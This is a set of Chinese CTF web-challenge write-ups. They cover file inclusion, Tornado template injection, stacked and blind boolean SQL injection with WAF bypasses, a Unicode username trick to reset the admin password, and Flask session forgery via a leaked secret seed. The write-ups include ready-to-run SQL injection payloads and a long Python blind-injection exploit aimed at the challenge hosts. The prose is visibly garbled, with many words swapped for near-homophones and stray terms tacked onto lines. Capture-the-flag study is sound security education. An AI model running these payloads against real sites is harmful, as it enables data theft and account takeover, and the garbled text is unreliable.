思路很清晰,文件包含,漏洞点在代码会二次解码,只需注入一个?就可使用../../进行路径穿越,而后去包含flag,flag路径在hint.php里面有php
题目就给了这些信息,flag路径已知,render应该是跟模板注入相关,hint.txt给的应该是filehash的算法,html
看看url,咱们能够控制文件名和文件hashnode
随便传一个不存在的文件名会跳转到error页面,这里直接把error字符串返回了回来,因此尝试一下模板注入,写个9,也返回了,猜想题目应该是咱们须要去算出flag文件对应的filehash,可是由于这个密钥是不知道的,因此咱们须要去经过模板注入弄出密钥,题目又是tornado,这里常规模板注入的字符好比[],()都被过滤掉了,所以尝试找一些tonado的全局配置来读取看看python
因此用handler.settings能够访问到tornado的一些“应用程序设置“,那么web网站中的一些变量信息应该也在其中存储着,因此直接访问就能获得密钥,而后就能够根据这个密钥来构造filehashmysql
获得secret而后md5哈希一下就能够,看文档仍是有用的,不会就多看文档多google,固然思路要对,好比这里就猜想secret存储在应用的一些全局配置中。linux
这里首先提交1,这里回显的1对应的数据,而后提交1',报错了nginx
再提交1' or ''=',返回正常:git
说明确定存在注入,可是这里把常见的关键字都过掉了,而且是不区分大小写的正则进行过滤,因此常规的查系统表而后注入的方法确定不行,这里能够尝试堆叠注入。web
获得了两张表,那么接下来确定要查一下两张表有哪些字段,用show coloums from,就能够获得flag字段,这里使用show create table `1919810931114514`;语句也能够查到表的结构。
而后算法
这里有两种解法:
第一种,由于后端数据库其实是查询的words表,可使用alter来更改表名和表字段,让1919810931114514的表改名为words表,那么查询的words的时候其实是对19这张表的查询,这思路真骚。
payload为:
';alter table `1919810931114514` add(id int default 1);alter table words rename xxx;alter table `1919810931114514` rename words;#
而后再查询就能够查询到flag了,这里我猜想后端语句应该是select * from words where id=1
第二种,除了这种骚操做,常规的我见过的仍是这种:
#coding=utf-8
import requests
#1919810931114514
part_url='http://49.4.66.242:31368/?inject=' payload="select flag from `1919810931114514`;" payload=payload.encode('hex') payload='''1';Set @x=0x'''+str(payload)+''';Prepare a from @x;execute a;%23''' print payload full_url=part_url+payload r=requests.get(url=full_url) print r.content
先编译sql语句,这里将payload进行了16进制编码,而后使用execute来进行执行,这里16进制编码的payload在编译中能够识别出来的,又学到了。
直接访问是跳转了,说明应该有js之类检测,不知足就跳转,直接扫一下目录:
这里就不扫了,buu有检测,怕被ban,总之能够扫描到源码:
能够看到index.php有这一段加以限制
注入点在member.php里,此时将cookie中的值json_decode之后拼接username,由于有第一行defined的限制,找到其定义的地方在common.php
其中在safe.php中对一些sql关键字进行了过滤union过滤了,and or都过滤了,\s把空格也都过滤了,那么系统表都用不了了,短路还能够用^或这||或者&&来代替,单引号也没有过滤, 所以能够闭合前面的单引号,字符串截取函数咱们能够用right,由于ord+mid+ascii+substring都被过滤了,空格能够用/**/来绕过,可是等号,大于小于也没了,所以正常的注入语句就用不了,因此必需要bypass,这里注意到safe.php的过滤
这里对全部的get、post、cookie的值进行了过滤http头部内的值是没有过滤的,那么能够尝试找一下http头部内有没有注入的点,可是在此题中是不存在的,可是在member.php中要对cookie中的值进行json_decode,所以能够先对关键字进行unicode编码一下,而后通过safe.php过滤时能够顺利绕过,再通过json_decode解码时就能够还原成正确的payload
先在burp中测试一下注入的逻辑:
当注入admin_user=sss'/**/||/**/'1时,此时返回了两个set-cookie,当注入admin_user=sss'/**/||/**/'0时,返回了四个set-cookie
那么咱们就能够经过脚原本判断返回的set-cookie个数来判断逻辑,从而完整布尔盲注,固然这里要用到=等号,和o进行一个unicode编码替换,编写脚本以下,咱们能够依次查库,用burp一跑就能够跑出来当前数据库长度为12
而后就能够跑出当前的数据库,为hctf_zone
而后跑出第一张表为fish_admin
第二张表为ip
第三表为fish_user
而后最后一张表就是flag所在的表 fl2222g
而后继续查出该表的字段为f44ag
而后就能查出flag长度
而后就能查出flag了
exp:
#coding:utf-8
import string
import time import requests url = "http://web39.buuoj.cn/include/common.php" def encode(payload): payload = payload.replace('or','\u00'+str(hex(ord('o'))[2:])+"r") payload = payload.replace('=','\u00'+str(hex(ord('='))[2:])) payload = payload.replace(' ','/**/') print payload return payload def database_length(): inject = requests.session() db_length = 0 for i in range(20): payload = "tr1ple' or (length((select database()))={}) && '1".format(str(i)) payload = encode(payload) #print(payload) cookie = {"islogin":"1", "login_data": "{\"admin_user\":\""+payload+"\",\"admin_pass\":22}" ,"PHPSESSID":"9ab188f3509995d88a68190fedc82358", "wzws_cid":"2be75d4aa1d0208371049ab3d98730380c3ec0246c2b11de690ffae3a34c87545fac57fe81c91446c6ea0dc9e06f686a8e54160f220dc90124b7a61de8c251f5" } #print(cookie) time.sleep(1) #print inject.get(url=url, cookies=cookie).headers a=inject.get(url=url,cookies=cookie).headers["Set-Cookie"].count('islogin') print a time.sleep(1) if a==1: print "the length of database is {}".format(str(i)) def dump_database(): inject = requests.session() payloads = string.lowercase + "{}" + string.digits+"_" flag = "zone" temp = "" for i in range(5, 100): for j in payloads: temp = j+flag payload = "tr1ple' or (right((select database()),{})='{}') && '1".format(str(i), temp) payload = encode(payload) header={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36"} cookie = {"islogin": "1", "login_data": "{\"admin_user\":\"" + payload + "\",\"admin_pass\":22}" ,"PHPSESSID": "9ab188f3509995d88a68190fedc82358", "wzws_cid":"5c4e233163a920134371bd1c9b7194124e1cf1ea5f8546f2166c5c389cdf502df61f375a4d508bd3121ff8f686cfe8541cedec92acb01375a17927e990adee3e" } # print(cookie) a = inject.get(url=url, cookies=cookie,headers=header).headers["Set-Cookie"] a= a.count('islogin') #print a time.sleep(1) if a==1: flag=temp print flag break def dump_table(): inject = requests.session() payloads = string.lowercase + "{}" + string.digits + "_"+string.uppercase flag = "" temp = "" for i in range(1, 100): for j in payloads: temp = j + flag payload = "tr1ple' or (right((select table_name from information_schema.tables where table_schema=database() limit 3,1),{})='{}') && '1".format(str(i), temp) payload = encode(payload) header = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36"} cookie = {"islogin": "1", "login_data": "{\"admin_user\":\"" + payload + "\",\"admin_pass\":22}" , "PHPSESSID": "9ab188f3509995d88a68190fedc82358", "wzws_cid": "5c4e233163a920134371bd1c9b7194124e1cf1ea5f8546f2166c5c389cdf502df61f375a4d508bd3121ff8f686cfe854ac13a8224f44b6d3e5ef234e42e8fe27" } # print(cookie) a = inject.get(url=url, cookies=cookie, headers=header).headers["Set-Cookie"] a = a.count('islogin') # print a time.sleep(1) if a == 1: flag = temp print flag break def dump_column(): inject = requests.session() payloads = string.lowercase + "{}" + string.digits + "_"+string.uppercase flag = "" temp = "" for i in range(1, 100): for j in payloads: temp = j + flag payload = "tr1ple' or (right((select column_name from information_schema.columns where table_schema=database() && table_name=0x666c3232323267 limit 0,1),{})='{}') && '1".format(str(i), temp) payload = encode(payload) header = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36"} cookie = {"islogin": "1", "login_data": "{\"admin_user\":\"" + payload + "\",\"admin_pass\":22}" , "PHPSESSID": "9ab188f3509995d88a68190fedc82358", "wzws_cid": "5c4e233163a920134371bd1c9b7194124e1cf1ea5f8546f2166c5c389cdf502df61f375a4d508bd3121ff8f686cfe854ac13a8224f44b6d3e5ef234e42e8fe27" } # print(cookie) a = inject.get(url=url, cookies=cookie, headers=header).headers["Set-Cookie"] a = a.count('islogin') # print a time.sleep(1) if a == 1: flag = temp print flag break def flag_length(): inject = requests.session() db_length = 0 for i in range(10,40): payload = "tr1ple' or (length((select f44ag from fl2222g))={}) && '1".format(str(i)) payload = encode(payload) #print(payload) cookie = {"islogin":"1", "login_data": "{\"admin_user\":\""+payload+"\",\"admin_pass\":22}" ,"PHPSESSID":"9ab188f3509995d88a68190fedc82358", "wzws_cid":"5c4e233163a920134371bd1c9b7194124e1cf1ea5f8546f2166c5c389cdf502df61f375a4d508bd3121ff8f686cfe8548ff3860e266289c1326244e9ba33b4ef" } #print(cookie) time.sleep(1) #print inject.get(url=url, cookies=cookie).headers a=inject.get(url=url,cookies=cookie).headers["Set-Cookie"].count('islogin') print a time.sleep(1) if a==1: print "the flag length is {}".format(str(i)) def dump_flag(): inject = requests.session() payloads = string.lowercase + "{}" + string.digits flag = "datmq1oh3j3rp0b18z4m}" temp = "" for i in range(22, 39): for j in payloads: temp = j + flag payload = "tr1ple' or (right((select f44ag from fl2222g),{})='{}') && '1".format(str(i), temp) payload = encode(payload) header = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36"} cookie = {"islogin": "1", "login_data": "{\"admin_user\":\"" + payload + "\",\"admin_pass\":22}" , "PHPSESSID": "9ab188f3509995d88a68190fedc82358", "wzws_cid": "5c4e233163a920134371bd1c9b7194124e1cf1ea5f8546f2166c5c389cdf502df61f375a4d508bd3121ff8f686cfe854ac13a8224f44b6d3e5ef234e42e8fe27" } # print(cookie) a = inject.get(url=url, cookies=cookie, headers=header).headers["Set-Cookie"] a = a.count('islogin') # print a time.sleep(1) if a == 1: flag = temp print flag break if __name__ == '__main__': #database_length() #dump_database() #dump_table() #dump_column() #flag_length() dump_flag()
总结:
这道题考bypass waf来进行注入,虽然waf过滤了不少,可是有个json_decode,所以致使咱们能够无视waf来进行注入,看了其余师傅的wp,固然这道题还有几个值得学习的点:
1.过滤了or,那么information_schema表用不了了,可是除了这一张元数据表外,还有其它的系统数据表能够用:
mysql.innodb_table_stats能够用来查表名
select/**/table_name/**/from/**/mysql.innodb_table_stats/**/limit/**/0,1
可是这种貌似不能直接查到字段,要是要提取flag的话,还得让这个flag表只有一列
连接:https://xz.aliyun.com/t/3253#toc-7
2.对于注入时能够添加binary到字段前防止在对比时大小写不敏感:
3.除了一般的字符串截取函数,mid+substr,right,left,仍是能够用字符串比较函数strcmp,返回1或-1,一样能够用来盲注
或者find_in_set,两个字符串相等为1,不然为0,这个比较少见
更多的bypass先知上有人发了一篇,能够拿来参考
https://xz.aliyun.com/t/3992#toc-18
4.调试payload
在nu1l的wp中也看到了能够发包到burp进行调试,这样很方便看到payload的效果,只要涉及到mysql函数嵌套的就用括号包起来
解法1:
第一种,利用unicode编码的漏洞,在unicode能表示的字符中,有的字符长的很类似,而恰巧有一些函数可以进行字符之间的转换,从而形成意想不到的结果
他们对用户名是否重复的判断是执行一次这个函数而后进行比对 ,例如AAA会被变为aaa则和以前已经注册过的aaa重复 ,可是这里出现了一个错误,注册一个ᴬᴬᴬ
,通过函数处理后变成了AAA,由于与aaa不一样因此注册成功,而在用户点击重置密码的链接的时候,这个函数再次被执行了一次,AAA变成了aaa,致使用户aaa的密码被越权修改,这段话摘自:http://blog.lnyas.xyz/?p=1411,因此才可以致使在注册的时候ᴬdmin,登录的时候通过函数处理依次变为Admin,改密码再处理一次变为admin,从而就修改了admin的密码,关于这个是如何发现的,我以为若是自己熟悉python开发的话很快就能意识到strlower的问题,通常转化小写不用这个函数,因此咱们才须要去跟踪研究此函数可能存在的bypass方法,而且对于此题,给了登录,注册,修改密码,那么通常套路应该就是要修改admin的密码再登陆。
解法2:
直接修改把session打印出来就能够,通常给了源码本地就能够跑起来模拟
在config.py里面也给了secretkey,能够直接进行cookie伪造,flask session是存储在客户端的,只有签名防窜改做用,可是不是加密的,所以客户端可读,若是flask用来签名session的key泄露,那么就能够伪造session
这道题平台环境坏了,说一下思路:
首先要上传一个zip,能够软连接到任意文件,从而形成任意文件读取,由于是flask框架,先读/proc/self/environ,能够获得
UWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini PWD=/app/hard_t0_guess_n9f5a95b5ku9fg
WSGI 的官方定义是,the Python Web Server Gateway Interface。从名字就能够看出来,这东西是一个Gateway,也就是网关。网关的做用就是在协议之间进行转换。
WSGI 是做为 Web 服务器与 Web 应用程序或应用框架之间的一种低级别的接口,以提高可移植 Web 应用开发的共同点。WSGI 是基于现存的 CGI 标准而设计的。
不少框架都自带了 WSGI server ,好比 Flask,webpy,Django、CherryPy等等。固然性能都很差,自带的 web server 更多的是测试用途,发布时则使用生产环境的 WSGI server或者是联合 nginx 作 uwsgi 。
uWSGI是一个Web服务器,它实现了WSGI协议、uwsgi、http等协议。Nginx中HttpUwsgiModule的做用是与uWSGI服务器进行交换。
为何有了uWSGI为何还须要nginx?由于nginx具有优秀的静态内容处理能力,而后将动态内容转发给uWSGI服务器,这样能够达到很好的客户端响应。
了解到uwsgi实际上是个通常python web用的web服务器,用来动态处理客户端的请求,那么uswgi.ini中应该包含了
再读取uwsgi_ini能够获得当前python web服务器的一些配置信息:
其中module中包含着py文件的路径名称,从而结合/proc/self/environ中的PWD来读取py的源码
即/app/hard_t0_guess_n9f5a95b5ku9fg/+module名.py
flask sesion伪造时必需要知道secret key,这里
random.seed(uuid.getnode()) app = Flask(__name__) app.config['SECRET_KEY'] = str(random.random()*100)
uuid.getnode()函数是取mac地址做为种子,所以为固定值,因此能够本地跑出来secretkey,而linux的mac地址保存在/sys/class/net/eth0/address
所以就能够伪造cookie登录了,这里不能直接读flag,必须以admin登陆才能够,由于有限制:
而且在/app/hard_t0_guess_n9f5a95b5ku9fg/index.html里面有
因此这道题并无新知识点,构造session的时候通常要和服务器端py版本一致
这个地址能够将mac地址转到10进制,从而输入种子,https://www.vultr.com/resources/mac-converter/